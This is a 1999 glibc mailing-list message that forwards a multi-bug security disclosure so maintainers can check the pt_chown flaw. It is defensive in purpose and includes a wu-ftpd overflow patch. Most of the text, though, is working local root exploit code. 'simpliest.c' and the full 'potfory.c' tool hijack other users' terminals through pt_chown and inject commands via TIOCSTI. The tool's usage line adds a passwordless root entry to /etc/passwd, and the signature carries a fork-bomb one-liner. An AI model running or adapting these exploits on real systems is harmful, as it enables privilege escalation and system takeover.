This is the mail archive of the libc-alpha@sourceware.cygnus.com mailing list for the glibc project.


Index Nav: [Date Index] [Subject Index] [Author Index] [Thread Index]
Message Nav: [Date Prev] [Date Next] [Thread Prev] [Thread Next]

[Michal Zalewski <lcamtuf@IDS.PL>] [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x



Hi,

I found this on BugTray.  Michal describes an exploit based on
pt_chown.  Could anybody check this, please?

Andreas




First of all, something less or more personal - sorry to all secure@...pl
people for this post. I'm really angry, as this stuff become well-known
without my knowledge... so, only a few of my own observations, always
trying to respect other's intellectual property.

All the best goes to el- :P

----------------------------------------------
glibc 2.1.x and Linux without devpts mechanism
----------------------------------------------

Compromise: locally, privledges of any user (including superuser) running
            programs without devpts support compiled in after glibc
            upgrade (like screen, mc etc).

Solution: chmod 700 /usr/libexec/pt_chown

There's a bug in pt_chown suid helper program, supplied with glibc 2.1.x
(tested on default RH 6.0 distro). This program is designed to allow
proper allocation of pseudo-terminals for non-suid programs in systems
with glibc 2.1.x installed, but without devpts support compiled into every
program (it's enough to have, let's say, screen which uses traditional
/dev/ptyXX and /dev/ttyXX scheme). Due to lack of security checks,
pt_chown can be easily fooled to gain full control over other user's (root
as well) pseudo-terminal, as allocated by screen, Midnight Commander, or
virtually any other program. All we need is an open descriptor to
/dev/ttyXX (in read or write mode, no matter) - while login uses secure
permissions, ttys allocated by eg. screen are 622 by default, so we could
gain write access. Then, we have to call pt_chown in a proper way to gain
ownership of this device, and put anything we want to the input stream of
process controlling this pty using TIOCSTI ioctl()...

Automated exploit code is attached (potfory.c). Sorry for polish comments,
should be readable anyway? If not, there's 'primal' exploit for this hole:

-- simpliest.c --
int main(int a,char* b[]) {
  char* c="\nclear;echo huhuhu, it worked...;id;sleep 2\n";
  int i=0,x=open(b[1],1); // Expect writable, allocated
                          // (eg. by screen) /dev/ttyXX as 1st arg
  if (x<0) {
    perror(b[1]);
    exit(1);
  }
  if (!fork()) {
    dup2(x,3);
    execl("/usr/libexec/pt_chown","pt_chown",0);
    perror("pt_chown");
    exit(1);
  }
  sleep(1);
  for (i;i<strlen(c);i++) ioctl(x,0x5412,&c[i]);
}
-- eof --

----------------------------
wu-ftpd 2.5, VR and BeroFTPD
----------------------------

Compromise: remote root

Solution: add strlen() check somewhere

There's an overflow in wu-ftpd 2.5 and prior releases (including VR and
BeroFTPD) in mapped_path when mapping current working directory to
command-line. While I discovered this vunerability by myself, I don't want
to provide exploit code, as all other, hard work has been done
independently by someone else. Instead of that, there's a .diff file with
patch, attached somewhere as ftpd.diff.

------------------
lynx and telnet://
------------------

Compromise: remote messing with files, maybe more?

Lynx has a problem coming from calling external programs to handle
protocols like telnet://. Example: attempt of viewing 'telnet://-n.rhosts'
URL will result in empty, new and shiny .rhosts file. Unfortunately, as
telnet client has session logging off by default, no idea how to put
something there?

------------------
mc, ftp:// and $()
------------------

Compromise: remote/local user's privledges

Midnight Commander ftp client has an overflow while reading server
responses - long enough message will result in beautiful overflow. Enjoy.

Also, mc seems to have serious problems with directories containing shell
commands enclosed in $(...) construction. Bad.

--------
vlock -a
--------

Compromise: locally, unlocking VCs switching under certain conditions

When 'vlock -a' is called, console switching is completely disabled using
ioctl() call on /dev/ttyX device. Under certain conditions, this
protection can be fooled. Let's imagine following situation: user X is
logged on tty6 - oh, abbandoned session ;) while root is playing on
other consoles. After some time, he/she issued 'vlock -a' and gone
somewhere. But, if user X is still logged on any console, and he's able to
login once more, remotelly, he could open /dev/tty6 (in our example, as
it's owned by him), then... use ioctl() (as it's not restricted to
superusers!!!) to enable console switching.

------------------------------
glibc 2.0.x and LC_ALL, noexec
------------------------------

Compromise: locally, doing thins you shouldn't be able to do ;)

First of all - doing /lib/ld-linux.so.2 /program/on/noexec/partition is
the simpliest way to bypass noexec option, if only you have glibc 2.0.x.
Nothing to say, security by obscurity stinks.

Clean glibc 2.0.x, as distributed in .tar.gz, are vunerable to rather
seriuos problem with LC_ALL containing '../' tricks (just like in telnetd
and TERM case). In fact, in some Linux distributions, it has been silently
fixed, while people upgrading glibc to eg. 2.0.7 'from scratch' are not
aware of this problem, and many sites are vunerable. Using prepared
directory with locale specifications, including glibc error messages used
eg. by perror(), luser will be able to for example read setuid programs
memory, etc.

_______________________________________________________________________
Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM]
[Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:
[voice phone: +48 (0) 22 813 25 86] ? [cellular phone: (0) 501 4000 69]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]

// #define LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A
// release 2.0

/*

  Marchew Hyperreal Industries . . . . . . . . .  marchew@dione.ids.pl
  Stumilowy Las Team . . . . . . . . . . . . 100milowy@wariaci.pdi.net
  
  ----------------------------[ PRESENTS ]----------------------------

	           D O M E K    N A    P O T F O R Y
               glupi, ale skuteczny sploit na glibce 2.1
                 
  -----------------------[ (c) lcamtuf@ids.pl ]-----------------------
  Y2K-compatible					      24/05/99

  TODO: w domku nie mam devptsfs'a, wiec nie ma supportu, ale zrobię,
        obiecuję...

  Zasada działania: wspaniały wynalazek pt. pt_chown, w który
  zaopatrzone są glibce 2.1 (RedHat 6.0), pozwala przejąć kontrolę
  nad ptysiami innych userów i przekazać dowolne polecenia programowi,
  który na tym ptysiu wisi. Warunek: na starcie musimy mieć jakiś
  dostęp do ptysia (+r albo +w), tak się składa że programy typu
  screen, mc itp dają nam szansę. Oczywiście sens w używaniu tego
  programiku na ptysie root'a i wysłaniu dowolnego polecenia do
  jego shella.

  Najprostszy przyklad użycia: odpalamy sploita na roota, czekamy aż
  rut sie zaloguje i odpali cos w stylu screena i bum. Używanie na
  innych useruf chyba nie ma większego sensu, poza tym jeśli screen
  nie ma suida, po prostu tracilibyśmy zbyt dużo czasu na ustalenie
  do kogo należy ptyś, więc sploit może nie zadziałać. W takim
  przypadku dopisanie '#define NALOT_ZMASOWANY 1' i wywołanie sploita
  dla roota spowoduje wysyłanie komendy na każdego ptysia, bez
  sprawdzania czy to np. właśnie niesuidowy screen.

  Nie spieszy się nikomu, więc /dev/tty?? są skanowane co 10 sekund.
  Jeśli ktoś chce, niech sobie zmieni LAG gdzieś niżej. Program i tak
  jest do zostawienia na dzień :P

  Gritz: ElCa, 100milowy, lam3rz, Nises, sopel, martinez, Nergal, etc.

*/

// #define NALOT_ZMASOWANY 1

#define MASKA_PTYSIA	0622
#define LAG		10

#include <sys/time.h>
#include <sys/types.h>
#include <dirent.h>
#include <sys/fcntl.h>
#include <sys/stat.h>
#include <sys/select.h>
#include <sys/signal.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <pwd.h>
#include <string.h>

#define BOLD  "\033[00;01m"
#define NORM  "\033[00;00m"
#define DARK  "\033[00;02m"
#define BLINK "\033[05m"
#define GREEN "\033[01;32m"
#define RED   "\033[01;31m"
#define YELL  "\033[01;33m"
#define BLUE  "\033[00;36m"

#ifdef LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A
#  define stat(a,b) _xstat(_STAT_VER,a,b)
#  define fstat(a,b) _fxstat(_STAT_VER,a,b)
#endif /* LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A */

int gupi_uid;
char* jebum;


void zuzycie(void) {
  printf(BOLD "Sposób zużycia: " BLUE "./potfory juzer 'polecenie'\n");
  printf(BOLD "   ...juzually: " BLUE "./potfory root 'echo \"r::0:0::/:/bin/sh\""
              " >>/etc/passwd;logout'" NORM "\n\n");
  exit(0);
}


int szukaj_uida(const char* login) {
  struct passwd* pw;
  setpwent();
  while ((pw=getpwent())) if (!strcasecmp(login,pw->pw_name)) return pw->pw_uid;
  printf( RED "[+] W domku nie mieszka nikt o loginie '%s'..." NORM "\n\n",login);
  exit(0);
}


char* koniec="\n";

int obwachaj_ptysia(struct dirent *s) {
  int i,q,z,w;
  struct stat a;
  if (strlen(s->d_name)!=5 || strncmp("pty",s->d_name,3)) return -1;
  close((i=open(s->d_name,O_RDONLY)));
  if (i>0) return -1;	// Blah, unused pty...
  s->d_name[0]='t';	// pty -> tty
  printf(DARK "[+] Przyglądam się " YELL "%s" DARK": " BLUE,s->d_name);
  stat(s->d_name,&a);
  if (a.st_uid!=gupi_uid) {
    printf("nie ten owner (%d).\n",a.st_uid);
    return -1;
  }
  printf("owner dobry");
  a.st_mode=a.st_mode&0666;
  if (a.st_mode!=MASKA_PTYSIA) {
#ifndef ZMASOWANY_ATAK
    printf(", ale chyba to pomyłka (maska: %o).\n",a.st_mode);
    return -1;
#else
    printf(" (zmasowany nalot)");
#endif /* ZMASOWANY_ATAK */
  }
  i=open(s->d_name,O_WRONLY);
  if (i<0) {
    printf(", ale nie mam uprawnień.\n");
    return -1;
  }
  printf(" - " YELL "robimy swoje!\n" NORM);

  if (!(q=fork())) {
    dup2(i,3);
    execl("/usr/libexec/pt_chown","pt_chown",0);
    exit(1);
  }

  waitpid(q,&z,0);

  fstat(i,&a);

  if (a.st_uid!=getuid()) {
    printf("[+] Ech, coś nie wyszło z pt_chown'em :(\n");
    close(i);
    return -1;
  }

  printf(YELL "[+] Oki, trzymamy ptysia za jaja, ślemy komendę...\n");

  for (w=0;w<strlen(jebum);w++) ioctl(i,TIOCSTI,&jebum[w]);
  for (w=0;w<strlen(koniec);w++) ioctl(i,TIOCSTI,&koniec[w]);

  close(i);

  printf("\n" GREEN "Dziękujemy za lot z Marchew Hyperreal Industries :-)" NORM "\n\n");

  exit(0);
}



void robimy_burdel(void) {
  struct dirent **x;
  int a;
  printf(BLUE "[+] Czekam na ofiare [/dev/tty??] - sprawdzam co " YELL "%d" BLUE " sekund...\n",
         LAG);
  if (chdir("/dev")) {
    printf( RED "[+] Ki burak, nie mogę wejść do /dev...\n\n");
    exit(0);
  }
  while (1) {
    a=scandir(".",&x,obwachaj_ptysia,0);
    if (a<0) {
      printf( RED "[+] Buuuk, nie mogę przeskanować /dev...\n\n");
      exit(0);
    }
    sleep(LAG);
  }
}


int main(int argc,char* argv[]) {
  printf(BLUE "\nMarchew Hyperreal Industries " BOLD "oraz " GREEN "Stumilowy Las Team"
	 BOLD " prezentują:\n");
  printf( YELL BLINK "Domek Na Potfory " NORM "- gupi, ale skuteczny sploit na glibce 2.1\n");
  printf( DARK "Scenariusz, wystrój wnętrz i muzyka: " BOLD "<lcamtuf@ids.pl>\n");
  if (argc-3) zuzycie();
  gupi_uid=szukaj_uida(argv[1]);
  jebum=argv[2];
  printf(BLUE "[+] UID " YELL "%d" BLUE ", polecenie do przekazania shellowi: " BOLD "%s\n",
         gupi_uid,jebum);
  robimy_burdel();
  printf(NORM "\n");
  exit(0);
}
*** ftpd.c	Sun Jun  6 15:20:21 1999
--- ftpd_patched.c	Sun Jun  6 15:15:03 1999
***************
*** 1245,1251 ****
        /* append the dir part with a leading / unless at root */
        if( !(mapped_path[0] == '/' && mapped_path[1] == '\0') )
                strcat( mapped_path, "/" );
!       strcat( mapped_path, dir );
  }
  
  int
--- 1245,1254 ----
        /* append the dir part with a leading / unless at root */
        if( !(mapped_path[0] == '/' && mapped_path[1] == '\0') )
                strcat( mapped_path, "/" );
!       if ( strlen(mapped_path) + strlen (dir) < 4095 )
!               strcat( mapped_path, dir );
!       else 
!         syslog(LOG_ERR, "FTP mapped_path attack ");
  }
  
  int



-- 
 Andreas Jaeger   aj@arthur.rhein-neckar.de    jaeger@informatik.uni-kl.de
  for pgp-key finger ajaeger@aixd1.rhrk.uni-kl.de

Index Nav: [Date Index] [Subject Index] [Author Index] [Thread Index]
Message Nav: [Date Prev] [Date Next] [Thread Prev] [Thread Next]